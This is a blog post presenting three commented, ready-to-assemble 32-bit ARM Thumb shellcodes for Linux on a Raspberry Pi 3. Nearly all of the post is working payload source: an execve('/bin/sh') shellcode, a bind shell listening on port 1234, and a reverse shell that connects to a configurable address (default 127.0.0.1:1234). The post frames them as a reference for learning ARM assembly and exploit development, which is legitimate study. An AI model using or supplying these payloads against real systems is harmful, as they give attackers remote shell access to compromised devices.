Shellcode: Linux ARM Thumb mode

Introduction

Just a quick post about some shellcodes for a raspberry pi 3 I purchased recently to learn ARM assembly.

For those interested in developing your own, you can find a full list of Linux system calls in Thumb mode here

These examples are only intended for 32-bit Linux. BSD or other OS that run on RPI3 will most likely use completely different system call numbers.

Some of you might find these 32-bit codes with comments useful as a reference if nothing else. I’ll discuss 64-bit codes in later post.

Assembling

If you want to assemble these codes on raspberry pi, you can use the GNU Assembler which should already be installed.

I use runsc to test out the codes.

Thumb mode

Raspbian by default runs in ARM mode, but the architecture has support for several modes, one of which is Thumb. Thumb uses 16-bit opcodes which allows our final shellcodes to be more compact. You’ll see the following used for each code.

// 8 bytes
    .global _start
    .text

_start:
    // switch to thumb mode
    .code 32
    add    r3, pc, #1
    bx     r3

Execute /bin/sh

The Load Relative Register (LDR) instruction initializes the /bin//sh string from 32-bit mode before switching to thumb mode.

// 36 bytes
    
    .arch armv6
    .global _start
    .text

_start:
    .code 32
    ldr    r0, =#0x6e69622f // /bin
    ldr    r1, =#0x68732f2f // //sh

    // switch to thumb mode
    add    r2, pc, #1
    bx     r2
    
    .code 16
    // execve("/bin/sh", NULL, NULL);
    eor    r2, r2, r2     // r2 = NULL    
    push   {r0, r1, r2}   // save string + null bytes
    mov    r0, sp         // r0 = "/bin//sh", 0
    eor    r1, r1, r1     // r1 = NULL
    mov    r7, #11        // r7 = execve
    svc    1

Bind Shell

// 104 bytes
    
    .arch armv6
    .global _start
    .text

_start:
    .code 32
    ldr    r4, =#0xD204FF02 // htons(1234), AF_INET
    ldr    r5, =#0x6e69622f // /bin
    ldr    r6, =#0x68732f2f // //sh
    
    // switch to thumb mode
    add    r3, pc, #1
    bx     r3 
  
    .code 16
    // s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    eor    r2, r2       // r2 = IPPROTO_IP
    mov    r1, #1       // r1 = SOCK_STREAM
    lsl    r7, r1, #8   // r7 = 1*256
    add    r7, #25      // r7 = 281 = socket 
    mov    r0, #2       // r0 = AF_INET
    svc    1
    
    mov    r8, r0       // r8 = s
    
    // bind(s, &sa, sizeof(sa)); 
    mov    r1, r4 
    push   {r1, r2}     // save sa on stack
    mov    r1, sp       // r1 = &sa
    strb   r2, [r1, #1] // null the 0xFF in sa.family 
    mov    r2, #16      // sizeof(sa) 
    add    r7, #1       // r7 = 281+1 = 282 = bind
    svc    1
  
    // listen(s, 1);
    mov    r1, #1       // r1 = 1    
    mov    r0, r8       // r0 = s
    add    r7, #2       // r7 = 282+2 = 284 = listen 
    svc    1    
    
    // r = accept(s, 0, 0);
    eor    r2, r2       // r2 = 0
    eor    r1, r1       // r1 = 0
    mov    r0, r8       // r0 = s
    add    r7, #1       // r7 = 284+1 = 285 = accept    
    svc    1    
    
    mov    r8, r0       // r8 = r
    
    // dup2(r, FILENO_STDIN);
    // dup2(r, FILENO_STDOUT);
    // dup2(r, FILENO_STDERR);
    mov    r1, #3       // for 3 descriptors
c_dup:
    mov    r7, #63      // r7 = dup2 
    mov    r0, r8       // r0 = r
    sub    r1, #1 
    svc    1
    bne    c_dup        // while (r1 != 0)

    // execve("/bin/sh", NULL, NULL);
    mov    r7, r2 
    push   {r5, r6, r7}    
    mov    r0, sp       // r0 = "/bin/sh" 
    mov    r7, #11      // r7 = execve
    svc    1
    nop

Reverse Connect

Default sockaddr_in values are : 127.0.0.1, 1234, AF_INET

// 92 bytes
    
    .arch armv6
    .global _start
    .text

_start:

    .code 32
    ldr    r3, =#0xD204FF02 // htons(1234), AF_INET
    ldr    r4, =#0x0100007f // 127.0.0.1
    ldr    r5, =#0x6e69622f // /bin
    ldr    r6, =#0x68732f2f // //sh

    // switch to thumb mode    
    add    r0, pc, #1
    bx     r0 
  
    .code 16
    // s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    eor    r2, r2      // r2 = IPPROTO_IP
    mov    r1, #1      // r1 = SOCK_STREAM
    mov    r0, #2      // r0 = AF_INET
    lsl    r7, r1, #8  // multiply by 256
    add    r7, #25     // 256+25 = socket
    svc    1

    mov    r8, r0       // r8 = s
    
    // connect(s, &sa, sizeof(sa));
    push   {r3, r4}     // save sa on stack
    mov    r1, sp       // r1 = &sa
    strb   r2, [r1, #1] // null the 0xFF in sa.family
    mov    r2, #16      // r2 = sizeof(sa)
    add    r7, #2       // r7 = 281+2 = connect
    svc    1
  
    // dup2(s, FILENO_STDIN);
    // dup2(s, FILENO_STDOUT);
    // dup2(s, FILENO_STDERR);
    mov    r1, #3      // for 3 descriptors
c_dup:
    mov    r7, #63     // r7 = dup 
    mov    r0, r8      // r0 = s
    sub    r1, #1      // decrease r1    
    svc    1
    bne    c_dup       // while (r1 != 0)

    // execve("/bin/sh", NULL, NULL);
    eor    r2, r2 
    mov    r7, r2
    push   {r5, r6, r7}
    mov    r0, sp  
    mov    r7, #11       // r7 = execve
    svc    1
    nop                  // alignment by 4 bytes

view sources here

This entry was posted in arm, assembly, pi, raspberry, security, shellcode and tagged , , , , , . Bookmark the permalink.

1 Response to Shellcode: Linux ARM Thumb mode

  1. Pingback: Shellcode: Linux ARM (AArch64) | modexp

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s